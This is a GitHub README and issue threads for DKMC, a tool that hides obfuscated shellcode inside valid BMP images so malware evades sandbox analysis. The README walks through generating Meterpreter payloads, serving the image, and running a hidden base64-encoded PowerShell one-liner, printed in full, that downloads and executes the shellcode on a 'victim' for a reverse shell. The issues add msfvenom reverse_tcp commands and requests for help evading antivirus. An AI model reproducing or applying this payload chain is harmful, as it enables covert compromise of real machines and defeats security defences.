mr-un1k0d3r / dkmc

DKMC - Dont kill my cat - Malicious payload evasion tool

Don't Kill My Cat (DKMC)

WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission.

Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it's a simple "legit" image. For now the tool rely on PowerShell the execute the final shellcode payload.

Why it's called don't kill my cat? Since I suck at finding names for tools, I decided to rely on the fact that the default BMP image is a cat to name the tool.

Presentation on how it works internally can be found here: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf

Basic Flow

• Generate shellcode (meterpreter / Beacon)
• Embed the obfuscated shellcode inside the image
• PowerShell download the image and execute the image as shellcode
• Get your shell

Installation

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

Usage

Launching DKMC

$ python dkmc.py


DKMC - Don't kill my cat
         Evasion tool - Mr.Un1k0d3r RingZer0 Team
     |\      _,,,---,,_
    /,`.-'`'    -.  ;-;;,_
   |,4-  ) )-,_..;\ (  `'-'
  '---''(_/--'  `-'\_)    The sleepy cat

----------------------------------------------------
Select an option:

        [*] (gen)       Generate a malicious BMP image
        [*] (web)       Start a web server and deliver malicious image
        [*] (ps)        Generate Powershell payload
        [*] (sc)        Generate shellcode from raw file
        [*] (exit)      Quit the application

>>>

Generate shellcode from a raw file

>>> sc
(shellcode)>>> set source shellcode.txt
        [+] source value is set.

(shellcode)>>> run
        [+] Shellcode:
\x41\x41\x41\x41

Generate the obfuscated shellcode embedded inside of an image.

>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
        [+] shellcode value is set.
        
(generate)>>> run
        [+] Image size is 300 x 275
        [+] Generating obfuscation key 0x1f1dad93
        [+] Shellcode size 0x4 (4) bytes
        [+] Generating magic bytes 0xa4d0c752
        [+] Final shellcode length is 0x57 (87) bytes
        [+] New BMP header set to 0x424de9a4c60300
        [+] New height is 0x0e010000 (270)
        [+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)

(generate)>>>

Generate PowerShell payload to execute on the victim system.

>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
        [+] url value is set.

(powershell)>>> run
        [+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvAFMAaQBhAHIAIQB2AE0ARwBIAHMATQBUAE4AagBFAHIAZgBOAGYAOQA5AHIAWQB6AGQARQBrAEcAeAAyAHQAVwBzACsAWQBIAHYAdQAzAEwAbAB6AHoAcgBuAEgANAA0AEkAdQB1ADEAbwB5AFQAMwBlAEUARAA2AFIAOABDAFYASQB4AEUAWgBLADkAMwBaADMAZABuAFoASwAvAGIASAA4AEYANQBRAHMALwBjAFAAWABGAFAASQBDADcAZQBmACsAbwBkADAANAArAGsAawAvAEcANwBzADQAawBEAGoAMgBkAHgAbAA3ADIANQB2AGYAWAB2AFQAYgA1AHUAYgB0AEQAOABxAHQASABKAFEAMgBJAFcAVgBwAFMAKwBUADAAUQBmAHMAegBCAEoAdABsAEQASgBJAFUASABmAGkAegBCAGUAZwB3AHUATABTADQARwA3AGMAKwBZADEAUgB6AFcAbwBxAGcAcAAhAHMAcgBDADAAZQBGAGgASQA1AFkAUwBRAHIAMQA2AGQAbwA1ACEAMQA1AFMAQwBZAE0AdwBaAEsATgBNAGkAdgA4AGoAVgBEAEMAUwBVAHoAOABhADMANABHAG4AeQBrADUAUwArAE8AMABkAGMAagBDAG4AUAB3ADUASQBHADkAVwBhADQAbwAxAHIAbwBwADIATgBmAGgARQBmAFQAYQBoADAAMwA0AGsAeQBiAHgAcgBkAHYAaABqAFUAcwBWADAAZABPAGEAeABGAFQAcgBrAHoARABUAFoAUwBHAHcAUABFADUATgB5AHoAeQBZAEsAVQBMAEQAcABJAEkAVABLAFAARABQAEMAbQBVAG0ARwBqAG4AaQBvAFgANwBlADgANQBGAHEATwBnAEUAdQBwAGgAdABDAFIAMwBRAE0AKwBFAHIAdwAwAHIAaABLAHYAWQBqAFEAYwBjAHkAegBMAGUAVgA1AGwAbABGAG0AUQBiAGUAOQBuAEQALwBOAGQAKwBYAG8ASABDAFMAYwB4AEkAdQB4AFIAegBNAFUAaABoAHoAYgBwAE4AUAA1AGoAIQB2AG8AaAArAEgAbQBnAFcAIQA0AHgAcQBrAGkARgB5AFEAUwArAGEAQgBjAG8ANQBwADYASABQAG8AdwAyAFIAawBkAHUARwB1ADIAUAB0AHIASgA1AG4AcgBrAHoAQwBxAHAANgBWAGwASQAwAG4AYgA2AHUAeABrAHAASwAyAG0ARwB0AFoAbQBwAFcAdgBNAFcAbgBoAHQAcwBJAHUAIQBQAEsAUwBZAC8AQgBiAEoAZgBMAEgAbwBSAC8AVwBsAFkAdQBGAFIAdQBFAFUAcABqAHkAKwBLAGEANQBpAE4AIQBPADcARgA3ACEAbgBGAHMAaQBRAGYAUwBjAFUAbQBIAFMAeQBLAGEAaQBFAFQAZgBDAHcATgBaACEAegBXAGkAIQB4AFQAcQBvAGEAagBFAFMAbABCAGYAQwA0AG4AOAA2AGIAbwBkADQASwBwAGwAOQBSAG8AYgBMADgAMgBkAGIAWABJAGcAMQBuAEcANAArAG4AMAA3AFAAagBIAFkARABZAE4ARgBxADAAegBIAEIAeABlAEMAdQBhAFAASABsAE0AOQBJAGIAegBVAHYAagBtACsAZwBMAG8ATwB1AEMALwBiAFgAWAA0ADAAVABpAGMAOABMACsAVQBtAFQARgBnAEkAegBTAFMAawAhAGYATQBLAHQAWgByAGIARwBJAFUASgBoAHcAdwArAHAAdwBqAHIAWQB0ADIAbQBrAFEAKwAhADMAdwBRAE8AVQA2AHAAVABpAG0AdwB5ADMASgB6AFcAQwBwAGoAKwBQAGIAYwBlAE0AKwA2AEQAcgBIAG0AbwBDAG8AVgBWAG8AVwBDAHMAcAA4AFcAcwBXAEQAZQBOAGsANwAhAEQAIQBTAEsAOABlAGoAYQBRADMAUQBuADIAQwBCAFQAUgBlAFYAOABrAHgAZQByAHAATQB3AFkAWgBEAFUANgBWAHMAawBrAHYAeABpAGIAMQBiAE8ASQBDADUAZQBEAGIAcABCAFkAcQBsAGcALwBWAFkAaQAyAHkAVwArAE8AeAAzAEUANwBNAE4AZgBPAG8AMABrAFcANgBrAGYAVQBDAHQASABrAEoARABSAEUAcQBMAFcATQBQAGQAWQBCAHcARABOAHcASQBQAEUAWgA1AGkAbwA1AE4AagBwAGsAUAA5AGMAUgBsADAANgBJAFUAWQB5AHMAMgBEAGMAbwA1AEMANgBlAFkAYQBZAG4AYwA0AEoAcwBVAEUAMQBlAG4ANgBwAEoAWQA5AGEAYQBTAEwATQBjAEYAZgBSAEoARQBIACEASwBjAGsATABsAEoAbQA5AE0AcABlAGsAZgBlAGUAcABrADIANgBSAFIAOAA0AHgAVQA3AEsASgBwAHQAMQBWAGsAcABmACEAVgB1AGEALwBXAGoASgBsAHcAdQB0AEUAMAB1AG0AZABUAG8AVQB5AGsAVgBUADcAWAA1ADMAeABWAGEAMgBOAFoARwB2AFEAMABKAE8AYwBsAG0AMABkAGIARABlAHEATABUAGYAaQB2AEYAQwBYAEIAKwBmAG4AWQBSAFgAWQBlADMAbAAxAGUAZABtADMANgBYAHoAZwBhADMAawBVADcAZABmAEYAUABRAFgAVQAhAFQAaABYAEUARABQAFQAegBVAHEAQwBaAHgARgAzAEoAQgAvAFMAYgBWADEASAB3AHoAMAB6AG8ANgBmAFAAdQAyAHUAdgBmAEIAcQBlAEMAdgBlAG4AaABRAE8AYQBpADgARgBiAEcATwBZAGwAMgB1AHYAdgB2AHoAZgBmAFgARABIADMAdgB2AHEAOAA0ADQAaQBOADUAawA3AFYAZgA2ACsAaQBOAGEAcQBMADUAcQBpAGQAbABpAGUAagBvAC8AdgBiADYAZQB6AEQANgBQAGsANQBPAGIAdABQADMAKwB4AGgAUQA3AFYASwBvAFoANQBjAGcANABtAGwAMABoAHYATABhAFEANwBkAHkAdgBlAG8ASwBsAE0AMAB5AHoAKwBMAGoATgBRAFkAYgAhADAAZgA3AHgAIQAxAEcAdwBVAGUATgBjAGUASwBtAEYAUABqAEUAMwB0AFAARwBWAHUAWQA1AFEAZABoAGQANAB1ADcAKwAzADkAYwA0AGkAdgB3AE8AdABSADQAYwB0AFgAaAAwAGUAMwBtAEQAQgB5AE8ANQB6AEMARAB0AGYASQBKAHoAcQBtAFYAMgA1ADMANgA5AFUAMABCAFkAcgA5ACsAOABxAEMATQB2AHIATgA5ADQAUQBVAFcASQArAG0AOQA1AE8AcgBmAFoAWgBoAEYAKwBxAGkAMgBkADEAcgBSAGgAYQAwAHYANQA5ADcAZQBZADYAawBkAEQAcwA5AGkANAA3AHIAVgBiAGMAOQBPAGIALwBPAHoAMgA1AFkARwBmADQANQA3ACsAVwBuAHMAZAAzAEwANAB5ACsAaQByAEsASwAvAFQAeABzAEcANgBGAFAAWAAvAHcAagAvAHYANABOAE0AbABlAFUAYQBRAHgAMgAwAGYAYwA0AHIASAByAHoAWgBZAEIAeQBxAGEANgBkACEATABaAFMAaQBpAHEAYwA1AEYAZAA2AE4ARAB2AEQAagB1ADMAaQBTAFcARgAzAHgALwBpAFUANgB1AEIAawBRAHQAWgBRAFUAdQB3AEgAbgBzAHQAZwBRAFEANgBzADkAWgBPACEAMABsAFQAcQA4AHEAMABZADQAMgBFAHUAUwBqAC8AUQB1AEYAWQByADYAcAArADEANQAwAGUAdAB3AFQASwB1ADkAOAArAEQAZgBxAHQAdQBrAFoAUABXAFYANwBKAHQAaABEAHkAUQBNAHEASgBXAFUALwB0ADcAZQBPAHEAVAAwAHoAZwAxAFAALwBMAGMARwBmAFkAWAB1AFUATQBzAHMAdQBWACsAawBUADUANABnAEsAZQA1ADgAcQBrAFkAWgB3AFkASAArAEwARgBiAEwAeQAxAGIAYwBuAHMAaQBqAFAAOABMAHAAegBWADkAdABFAFEATAAhACEAIQA9ACIALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAQQAiACkAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

(powershell)>>>

Built-in Web Server to deliver the image

>>> web 
(web)>>> set port 8080
        [+] port value is set.

(web)>>> run
        [+] Starting web server on port 8080

127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -

Final step require you to run the PowerShell oneliner on the victim system.

TODO

Support more file format.

Credit

Mr.Un1k0d3r RingZer0 Team 2016

dkmc's Issues

Malicious cat

error

File "dkmc.py", line 12
os.makedirs("output/")

with or without 'output' place.

Dkmc

Wrong shell code??

First of all thank you for this amazing script.

The issue I get is when using the shell code generated from msfvenom for android platform. Be it any payload DKMC is not accepting it..

Please help..

no meterpreter session

hi man ,thanks for this update but i'm still not getting a meterpreter session:
first i generate a raw shellcode with msfvenom like that:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=6667 -t raw -o /root/Desktop/shellcode.bin

after that i've used your tool to get the right format of shellcode.
can you help me or put a small demo please ...thanks

Output shellcode request.

When using very large shellcode it becomes near impossible to copy and paste. If possible could you add an -output option for the shellcode and an import option for the gen bmp. Thank you

Something when wrong during the obfuscation. Wrong shellcode format?

def gen_shellcode(self, shellcode):
    shellcode = shellcode.replace("\r", "").replace("\n", "")
    try:
        key = self.gen_key()
        self.ui.print_msg("Generating obfuscation key 0x%s".join([f'\\x{b:02x}' for b in data]))
        #self.ui.print_msg("Generating obfuscation key 0x%s" % key.encode().hex())
        shellcode = self.pad_shellcode(shellcode)
        magic = self.gen_magic()
        self.ui.print_msg("Generating magic bytes %s" % hex(magic))
        shellcode = hex(magic)[2:10].decode("hex") + shellcode
        shellcode = self.xor_payload(shellcode, key)
        size = len(shellcode)
        shellcode = self.set_decoder(hex(magic)[2:10].decode("hex"), (size - 4)) + shellcode
        for i in range(1, 5):
            shellcode = shellcode.replace("[RAND" + str(i) + "]", self.gen_pop(hex(self.gen_magic())[2:10].decode("hex")))
        self.ui.print_msg("Final shellcode length is %s (%d) bytes" % (hex(len(shellcode)), len(shellcode)))
        if self.is_debug():
            print
        return shellcode
    except:
        self.ui.print_error("Something when wrong during the obfuscation. Wrong shellcode format?")
        return False

can you explain me this piece of code it's showing error again and again

option to generate a binary?

Hey man,

thanks for the creation of the tool. Any possibility to add an option to generate a binary as an output to execute more easily since PowerShell is getting picked up now by the most environments.

Can open dkmc.py

python dkmc.py File "/home/username/DKMC/dkmc.py", line 47 print "" ^^^^^^^^ SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

This is what i get when i do python dkmc.py

some time before i made it work.but now when i came back its not working anymore.I tryed to remove and git pull and clone a new one nothing worked.

Not getting shell

after running .bat file with ps script in it I didn't get any shell.

I REMAKE YOUR TOOL!!!

SEE AT github.com/GetRektBoy724/DKMCPRO

a

blabla solved

shows error

Not working on window 10

I tried on window 10 but not getting shell when i check on wireshark it show that when I execute powershell it send the get request and when BMP tried to execute my window send the reset.

o

no needed

cannot impot name 'ModuleObject '

Traceback (most recent call last):
File "dkmc.py", line 4, in
from module.gen import GenModule
File "/root/ppk/DKMC-master/module/gen.py", line 1, in
from module import ModuleObject
ImportError: cannot import name 'ModuleObject' from 'module' (/root/ppk/DKMC-master/module/init.py)

Not found

(shellcode)>>> run
[-] >>> /root/Desktop/dkmc not found

External file

Out of curiosity, i am trying to reproduce this using putty but having shell error when inserting into .bmp

does it only works with meterpreter payload?

Question!

Hi
Can i send the image for victim then open then the shell code execute, or execute powershell code in the victim device ?

Is it still working?

Tried a bunch of payloads. Still does not report...

Run Locally

Thank you very much for this excellent tool. I was wondering how I could run this locally, as in save the .BMP on my system and then run it without having to pull the .BMP from my server. Thanks in advance.

Unable to load BMP file remotely

This is really a good project. I tried to load the BMP file remotely with the C language code you provided,
https://github.com/Mr-Un1k0d3r/DKMC/blob/master/core/util/downloadshellcodebin.c
but I couldn't run shellcode. Can you provide SC- loader.exe I want to transform the source file of shellcode into a remote loading file. Thank you very much.

cant get a sessions when i sent d image

cant i get a session with the image file alone?

shellcode generate

first of all thank you very much for such this tool I followed all your steps correctly and the BMP picture being downloaded as I saw in the log of the web server built-in the tool but when I check my msf panel for any session it's not working I tried to use .txt generated payload, raw buffer files, and bash files so is there any specified syntax I should use during generating the payload so it can be worked after being converted to shellcode? thanks

Shellcode Not Running...?

Hello. Was hoping to get some feedback on this- trying to run an attack over WAN:

Attacker:
VB 4.17.0-kali1-amd64 with latest meta apt upgrade.

*msfvenom -p windows/meterpreter/reverse_tcp LHOST=public ip LPORT=4444 -f raw > raw.txt
(build bmp, etc)

*web is running on port 8080

*NAT FWD: TCP on 8080 & 4444 to attacker LAN IP

*The PS batch file handshakes with web server and I see GET 202 etc. But no shell on attacker host.

*using multi/handler meterpreter/reverse_tcp LHOST 0.0.0.0 on 4444

*Running wireshark on target host I see the 8080 traffic but nothing on 4444. It ...appears... its downloading on 8080 but the shellcode just isnt running. No error(s).

Handler returns nothing. Any ideas?

sample file

hi, is the sample file is the clean BMP or that it's include the shellcode ?

Can't install

Hi guys, i'm try to installing dkmc.py with command "python dkmc.py" but i receipt this issue

proxy aware PS payload

First of all, great tool! Really enjoy using this.

When the victim end device is using a proxy for outgoing traffic, the powershell payload to download the image fails:
Exception calling "DownloadData" with "1" argument(s): "The external server returned an error: (407) Proxy verification is needed."

Do you have any plans of implementing an option to make the powershell payload proxy-aware?
I really would really like to see this option in the PS payload generator, something like:

[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials

In order to use the users default proxy credentials. I'm not aware of a trigger that can set this option from a powershell one liner.

How i can inject shellcode into image? Can i make shellcode with msfvenom and use it?

Please explain how to insert shellcode into image?

dkmc.py not executing

(base) root@Rafey:~/ppk/DKMC-master# python dkmc.py
File "dkmc.py", line 47
print ""
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("")?

error while starting dkmc.py

root@nobody:/DKMC# python dkmc.py
Traceback (most recent call last):
File "dkmc.py", line 2, in
from core.ui import UI
ImportError: No module named core.ui
root@nobody:/DKMC#

how i can generate shellcode in this format !!

first thanks for this great job , i'm generating shellcode using msfvenom like this:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=6667 -b '\x41\x41' -f hex

but i have no meterpreter session.. is my shellcode wrong or what!! .

Not a bug

hey buddy ! can you help me with pointers to evade av . it was fine for last year . tis year most of the avs are picking up thanks

Embed the obfuscated shellcode for .apk (android)?

as my title "Embed the obfuscated shellcode for .apk (android)?" I am a newbie and still on my learning. Please answer me. Can we embed android application files .apk into obfuscated shellcode?

how to listen for reverse shell

Hi
I want to know how to listen for reverse shell when using DKMC.
Meterpreter for window ?

GenModule instance has no attribute 'print_error'

(generate)>>> run Traceback (most recent call last): File "dkmc.py", line 43, in <module> mod.show_menu() File "C:\Users\lijx\Desktop\DKMC-master\module\module.py", line 21, in show_menu self.do_action() File "C:\Users\lijx\Desktop\DKMC-master\module\module.py", line 42, in do_action self.exec_action(data) File "C:\Users\lijx\Desktop\DKMC-master\module\module.py", line 57, in exec_action self.run_action() File "C:\Users\lijx\Desktop\DKMC-master\module\gen.py", line 30, in run_action data = self.get_file_data() File "C:\Users\lijx\Desktop\DKMC-master\module\gen.py", line 66, in get_file_data self.print_error("%s not found" % self.vars["source"][0]) AttributeError: GenModule instance has no attribute 'print_error'

no matter windows or Linux
both questions
how to solove?
thanks